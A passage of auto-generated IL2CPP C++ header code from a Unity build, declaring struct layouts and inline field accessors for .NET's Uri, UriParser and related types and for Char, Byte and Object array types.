static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___SchemeDelimiter_12)); } inline String_t* get_SchemeDelimiter_12() const { return ___SchemeDelimiter_12; } inline String_t** get_address_of_SchemeDelimiter_12() { return &___SchemeDelimiter_12; } inline void set_SchemeDelimiter_12(String_t* value) { ___SchemeDelimiter_12 = value; Il2CppCodeGenWriteBarrier((&___SchemeDelimiter_12), value); } inline static int32_t get_offset_of_s_ConfigInitialized_20() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___s_ConfigInitialized_20)); } inline bool get_s_ConfigInitialized_20() const { return ___s_ConfigInitialized_20; } inline bool* get_address_of_s_ConfigInitialized_20() { return &___s_ConfigInitialized_20; } inline void set_s_ConfigInitialized_20(bool value) { ___s_ConfigInitialized_20 = value; } inline static int32_t get_offset_of_s_ConfigInitializing_21() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___s_ConfigInitializing_21)); } inline bool get_s_ConfigInitializing_21() const { return ___s_ConfigInitializing_21; } inline bool* get_address_of_s_ConfigInitializing_21() { return &___s_ConfigInitializing_21; } inline void set_s_ConfigInitializing_21(bool value) { ___s_ConfigInitializing_21 = value; } inline static int32_t get_offset_of_s_IdnScope_22() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___s_IdnScope_22)); } inline int32_t get_s_IdnScope_22() const { return ___s_IdnScope_22; } inline int32_t* get_address_of_s_IdnScope_22() { return &___s_IdnScope_22; } inline void set_s_IdnScope_22(int32_t value) { ___s_IdnScope_22 = value; } inline static int32_t get_offset_of_s_IriParsing_23() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___s_IriParsing_23)); } inline bool get_s_IriParsing_23() const { return ___s_IriParsing_23; } inline bool* get_address_of_s_IriParsing_23() { return &___s_IriParsing_23; } inline void set_s_IriParsing_23(bool value) { ___s_IriParsing_23 = value; } inline static int32_t get_offset_of_useDotNetRelativeOrAbsolute_24() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___useDotNetRelativeOrAbsolute_24)); } inline bool get_useDotNetRelativeOrAbsolute_24() const { return ___useDotNetRelativeOrAbsolute_24; } inline bool* get_address_of_useDotNetRelativeOrAbsolute_24() { return &___useDotNetRelativeOrAbsolute_24; } inline void set_useDotNetRelativeOrAbsolute_24(bool value) { ___useDotNetRelativeOrAbsolute_24 = value; } inline static int32_t get_offset_of_IsWindowsFileSystem_25() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___IsWindowsFileSystem_25)); } inline bool get_IsWindowsFileSystem_25() const { return ___IsWindowsFileSystem_25; } inline bool* get_address_of_IsWindowsFileSystem_25() { return &___IsWindowsFileSystem_25; } inline void set_IsWindowsFileSystem_25(bool value) { ___IsWindowsFileSystem_25 = value; } inline static int32_t get_offset_of_s_initLock_26() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___s_initLock_26)); } inline RuntimeObject * get_s_initLock_26() const { return ___s_initLock_26; } inline RuntimeObject ** get_address_of_s_initLock_26() { return &___s_initLock_26; } inline void set_s_initLock_26(RuntimeObject * value) { ___s_initLock_26 = value; Il2CppCodeGenWriteBarrier((&___s_initLock_26), value); } inline static int32_t get_offset_of_HexLowerChars_27() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___HexLowerChars_27)); } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* get_HexLowerChars_27() const { return ___HexLowerChars_27; } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2** get_address_of_HexLowerChars_27() { return &___HexLowerChars_27; } inline void set_HexLowerChars_27(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* value) { ___HexLowerChars_27 = value; Il2CppCodeGenWriteBarrier((&___HexLowerChars_27), value); } inline static int32_t get_offset_of__WSchars_28() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ____WSchars_28)); } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* get__WSchars_28() const { return ____WSchars_28; } inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2** get_address_of__WSchars_28() { return &____WSchars_28; } inline void set__WSchars_28(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* value) { ____WSchars_28 = value; Il2CppCodeGenWriteBarrier((&____WSchars_28), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URI_T87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_H #ifndef URIFORMATEXCEPTION_T86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_H #define URIFORMATEXCEPTION_T86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriFormatException struct UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A : public FormatException_t2808E076CDE4650AF89F55FD78F49290D0EC5BDC { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIFORMATEXCEPTION_T86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A_H #ifndef URIPARSER_T07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_H #define URIPARSER_T07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriParser struct UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC : public RuntimeObject { public: // System.UriSyntaxFlags System.UriParser::m_Flags int32_t ___m_Flags_2; // System.UriSyntaxFlags modreq(System.Runtime.CompilerServices.IsVolatile) System.UriParser::m_UpdatableFlags int32_t ___m_UpdatableFlags_3; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.UriParser::m_UpdatableFlagsUsed bool ___m_UpdatableFlagsUsed_4; // System.Int32 System.UriParser::m_Port int32_t ___m_Port_5; // System.String System.UriParser::m_Scheme String_t* ___m_Scheme_6; public: inline static int32_t get_offset_of_m_Flags_2() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC, ___m_Flags_2)); } inline int32_t get_m_Flags_2() const { return ___m_Flags_2; } inline int32_t* get_address_of_m_Flags_2() { return &___m_Flags_2; } inline void set_m_Flags_2(int32_t value) { ___m_Flags_2 = value; } inline static int32_t get_offset_of_m_UpdatableFlags_3() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC, ___m_UpdatableFlags_3)); } inline int32_t get_m_UpdatableFlags_3() const { return ___m_UpdatableFlags_3; } inline int32_t* get_address_of_m_UpdatableFlags_3() { return &___m_UpdatableFlags_3; } inline void set_m_UpdatableFlags_3(int32_t value) { ___m_UpdatableFlags_3 = value; } inline static int32_t get_offset_of_m_UpdatableFlagsUsed_4() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC, ___m_UpdatableFlagsUsed_4)); } inline bool get_m_UpdatableFlagsUsed_4() const { return ___m_UpdatableFlagsUsed_4; } inline bool* get_address_of_m_UpdatableFlagsUsed_4() { return &___m_UpdatableFlagsUsed_4; } inline void set_m_UpdatableFlagsUsed_4(bool value) { ___m_UpdatableFlagsUsed_4 = value; } inline static int32_t get_offset_of_m_Port_5() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC, ___m_Port_5)); } inline int32_t get_m_Port_5() const { return ___m_Port_5; } inline int32_t* get_address_of_m_Port_5() { return &___m_Port_5; } inline void set_m_Port_5(int32_t value) { ___m_Port_5 = value; } inline static int32_t get_offset_of_m_Scheme_6() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC, ___m_Scheme_6)); } inline String_t* get_m_Scheme_6() const { return ___m_Scheme_6; } inline String_t** get_address_of_m_Scheme_6() { return &___m_Scheme_6; } inline void set_m_Scheme_6(String_t* value) { ___m_Scheme_6 = value; Il2CppCodeGenWriteBarrier((&___m_Scheme_6), value); } }; struct UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields { public: // System.Collections.Generic.Dictionary`2<System.String,System.UriParser> System.UriParser::m_Table Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * ___m_Table_0; // System.Collections.Generic.Dictionary`2<System.String,System.UriParser> System.UriParser::m_TempTable Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * ___m_TempTable_1; // System.UriParser System.UriParser::HttpUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___HttpUri_7; // System.UriParser System.UriParser::HttpsUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___HttpsUri_8; // System.UriParser System.UriParser::WsUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___WsUri_9; // System.UriParser System.UriParser::WssUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___WssUri_10; // System.UriParser System.UriParser::FtpUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___FtpUri_11; // System.UriParser System.UriParser::FileUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___FileUri_12; // System.UriParser System.UriParser::GopherUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___GopherUri_13; // System.UriParser System.UriParser::NntpUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___NntpUri_14; // System.UriParser System.UriParser::NewsUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___NewsUri_15; // System.UriParser System.UriParser::MailToUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___MailToUri_16; // System.UriParser System.UriParser::UuidUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___UuidUri_17; // System.UriParser System.UriParser::TelnetUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___TelnetUri_18; // System.UriParser System.UriParser::LdapUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___LdapUri_19; // System.UriParser System.UriParser::NetTcpUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___NetTcpUri_20; // System.UriParser System.UriParser::NetPipeUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___NetPipeUri_21; // System.UriParser System.UriParser::VsMacrosUri UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___VsMacrosUri_22; // System.UriParser_UriQuirksVersion System.UriParser::s_QuirksVersion int32_t ___s_QuirksVersion_23; // System.UriSyntaxFlags System.UriParser::HttpSyntaxFlags int32_t ___HttpSyntaxFlags_24; // System.UriSyntaxFlags System.UriParser::FileSyntaxFlags int32_t ___FileSyntaxFlags_25; public: inline static int32_t get_offset_of_m_Table_0() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___m_Table_0)); } inline Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * get_m_Table_0() const { return ___m_Table_0; } inline Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE ** get_address_of_m_Table_0() { return &___m_Table_0; } inline void set_m_Table_0(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * value) { ___m_Table_0 = value; Il2CppCodeGenWriteBarrier((&___m_Table_0), value); } inline static int32_t get_offset_of_m_TempTable_1() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___m_TempTable_1)); } inline Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * get_m_TempTable_1() const { return ___m_TempTable_1; } inline Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE ** get_address_of_m_TempTable_1() { return &___m_TempTable_1; } inline void set_m_TempTable_1(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * value) { ___m_TempTable_1 = value; Il2CppCodeGenWriteBarrier((&___m_TempTable_1), value); } inline static int32_t get_offset_of_HttpUri_7() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___HttpUri_7)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_HttpUri_7() const { return ___HttpUri_7; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_HttpUri_7() { return &___HttpUri_7; } inline void set_HttpUri_7(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___HttpUri_7 = value; Il2CppCodeGenWriteBarrier((&___HttpUri_7), value); } inline static int32_t get_offset_of_HttpsUri_8() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___HttpsUri_8)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_HttpsUri_8() const { return ___HttpsUri_8; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_HttpsUri_8() { return &___HttpsUri_8; } inline void set_HttpsUri_8(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___HttpsUri_8 = value; Il2CppCodeGenWriteBarrier((&___HttpsUri_8), value); } inline static int32_t get_offset_of_WsUri_9() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___WsUri_9)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_WsUri_9() const { return ___WsUri_9; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_WsUri_9() { return &___WsUri_9; } inline void set_WsUri_9(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___WsUri_9 = value; Il2CppCodeGenWriteBarrier((&___WsUri_9), value); } inline static int32_t get_offset_of_WssUri_10() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___WssUri_10)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_WssUri_10() const { return ___WssUri_10; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_WssUri_10() { return &___WssUri_10; } inline void set_WssUri_10(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___WssUri_10 = value; Il2CppCodeGenWriteBarrier((&___WssUri_10), value); } inline static int32_t get_offset_of_FtpUri_11() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___FtpUri_11)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_FtpUri_11() const { return ___FtpUri_11; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_FtpUri_11() { return &___FtpUri_11; } inline void set_FtpUri_11(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___FtpUri_11 = value; Il2CppCodeGenWriteBarrier((&___FtpUri_11), value); } inline static int32_t get_offset_of_FileUri_12() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___FileUri_12)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_FileUri_12() const { return ___FileUri_12; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_FileUri_12() { return &___FileUri_12; } inline void set_FileUri_12(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___FileUri_12 = value; Il2CppCodeGenWriteBarrier((&___FileUri_12), value); } inline static int32_t get_offset_of_GopherUri_13() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___GopherUri_13)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_GopherUri_13() const { return ___GopherUri_13; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_GopherUri_13() { return &___GopherUri_13; } inline void set_GopherUri_13(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___GopherUri_13 = value; Il2CppCodeGenWriteBarrier((&___GopherUri_13), value); } inline static int32_t get_offset_of_NntpUri_14() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___NntpUri_14)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_NntpUri_14() const { return ___NntpUri_14; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_NntpUri_14() { return &___NntpUri_14; } inline void set_NntpUri_14(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___NntpUri_14 = value; Il2CppCodeGenWriteBarrier((&___NntpUri_14), value); } inline static int32_t get_offset_of_NewsUri_15() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___NewsUri_15)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_NewsUri_15() const { return ___NewsUri_15; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_NewsUri_15() { return &___NewsUri_15; } inline void set_NewsUri_15(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___NewsUri_15 = value; Il2CppCodeGenWriteBarrier((&___NewsUri_15), value); } inline static int32_t get_offset_of_MailToUri_16() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___MailToUri_16)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_MailToUri_16() const { return ___MailToUri_16; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_MailToUri_16() { return &___MailToUri_16; } inline void set_MailToUri_16(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___MailToUri_16 = value; Il2CppCodeGenWriteBarrier((&___MailToUri_16), value); } inline static int32_t get_offset_of_UuidUri_17() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___UuidUri_17)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_UuidUri_17() const { return ___UuidUri_17; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_UuidUri_17() { return &___UuidUri_17; } inline void set_UuidUri_17(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___UuidUri_17 = value; Il2CppCodeGenWriteBarrier((&___UuidUri_17), value); } inline static int32_t get_offset_of_TelnetUri_18() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___TelnetUri_18)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_TelnetUri_18() const { return ___TelnetUri_18; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_TelnetUri_18() { return &___TelnetUri_18; } inline void set_TelnetUri_18(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___TelnetUri_18 = value; Il2CppCodeGenWriteBarrier((&___TelnetUri_18), value); } inline static int32_t get_offset_of_LdapUri_19() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___LdapUri_19)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_LdapUri_19() const { return ___LdapUri_19; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_LdapUri_19() { return &___LdapUri_19; } inline void set_LdapUri_19(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___LdapUri_19 = value; Il2CppCodeGenWriteBarrier((&___LdapUri_19), value); } inline static int32_t get_offset_of_NetTcpUri_20() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___NetTcpUri_20)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_NetTcpUri_20() const { return ___NetTcpUri_20; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_NetTcpUri_20() { return &___NetTcpUri_20; } inline void set_NetTcpUri_20(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___NetTcpUri_20 = value; Il2CppCodeGenWriteBarrier((&___NetTcpUri_20), value); } inline static int32_t get_offset_of_NetPipeUri_21() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___NetPipeUri_21)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_NetPipeUri_21() const { return ___NetPipeUri_21; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_NetPipeUri_21() { return &___NetPipeUri_21; } inline void set_NetPipeUri_21(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___NetPipeUri_21 = value; Il2CppCodeGenWriteBarrier((&___NetPipeUri_21), value); } inline static int32_t get_offset_of_VsMacrosUri_22() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___VsMacrosUri_22)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_VsMacrosUri_22() const { return ___VsMacrosUri_22; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_VsMacrosUri_22() { return &___VsMacrosUri_22; } inline void set_VsMacrosUri_22(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___VsMacrosUri_22 = value; Il2CppCodeGenWriteBarrier((&___VsMacrosUri_22), value); } inline static int32_t get_offset_of_s_QuirksVersion_23() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___s_QuirksVersion_23)); } inline int32_t get_s_QuirksVersion_23() const { return ___s_QuirksVersion_23; } inline int32_t* get_address_of_s_QuirksVersion_23() { return &___s_QuirksVersion_23; } inline void set_s_QuirksVersion_23(int32_t value) { ___s_QuirksVersion_23 = value; } inline static int32_t get_offset_of_HttpSyntaxFlags_24() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___HttpSyntaxFlags_24)); } inline int32_t get_HttpSyntaxFlags_24() const { return ___HttpSyntaxFlags_24; } inline int32_t* get_address_of_HttpSyntaxFlags_24() { return &___HttpSyntaxFlags_24; } inline void set_HttpSyntaxFlags_24(int32_t value) { ___HttpSyntaxFlags_24 = value; } inline static int32_t get_offset_of_FileSyntaxFlags_25() { return static_cast<int32_t>(offsetof(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields, ___FileSyntaxFlags_25)); } inline int32_t get_FileSyntaxFlags_25() const { return ___FileSyntaxFlags_25; } inline int32_t* get_address_of_FileSyntaxFlags_25() { return &___FileSyntaxFlags_25; } inline void set_FileSyntaxFlags_25(int32_t value) { ___FileSyntaxFlags_25 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIPARSER_T07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_H #ifndef URITYPECONVERTER_T96793526764A246FBAEE2F4F639AFAF270EE81D1_H #define URITYPECONVERTER_T96793526764A246FBAEE2F4F639AFAF270EE81D1_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriTypeConverter struct UriTypeConverter_t96793526764A246FBAEE2F4F639AFAF270EE81D1 : public TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URITYPECONVERTER_T96793526764A246FBAEE2F4F639AFAF270EE81D1_H #ifndef BUILTINURIPARSER_T5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_H #define BUILTINURIPARSER_T5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriParser_BuiltInUriParser struct BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B : public UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // BUILTINURIPARSER_T5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_H #ifndef THROWSTUB_T03526C535287FADF58CBFA05084AE89A0ACFFEFA_H #define THROWSTUB_T03526C535287FADF58CBFA05084AE89A0ACFFEFA_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // Unity.ThrowStub struct ThrowStub_t03526C535287FADF58CBFA05084AE89A0ACFFEFA : public ObjectDisposedException_tF68E471ECD1419AD7C51137B742837395F50B69A { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // THROWSTUB_T03526C535287FADF58CBFA05084AE89A0ACFFEFA_H // System.Char[] struct CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2 : public RuntimeArray { public: ALIGN_FIELD (8) Il2CppChar m_Items[1]; public: inline Il2CppChar GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Il2CppChar* GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Il2CppChar value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline Il2CppChar GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Il2CppChar* GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Il2CppChar value) { m_Items[index] = value; } }; // System.Byte[] struct ByteU5BU5D_tD06FDBE8142446525DF1C40351D523A228373821 : public RuntimeArray { public: ALIGN_FIELD (8) uint8_t m_Items[1]; public: inline uint8_t GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline uint8_t* GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, uint8_t value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline uint8_t GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline uint8_t* GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, uint8_t value) { m_Items[index] = value; } }; // System.Object[] struct ObjectU5BU5D_t3C9242B5C88A48B2A5BD9FDA6CD0024E792AF08A : public RuntimeArray { public: ALIGN_FIELD (8) RuntimeObject * m_Items[1]; public: inline RuntimeObject * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline RuntimeObject ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, RuntimeObject * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline RuntimeObject * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline 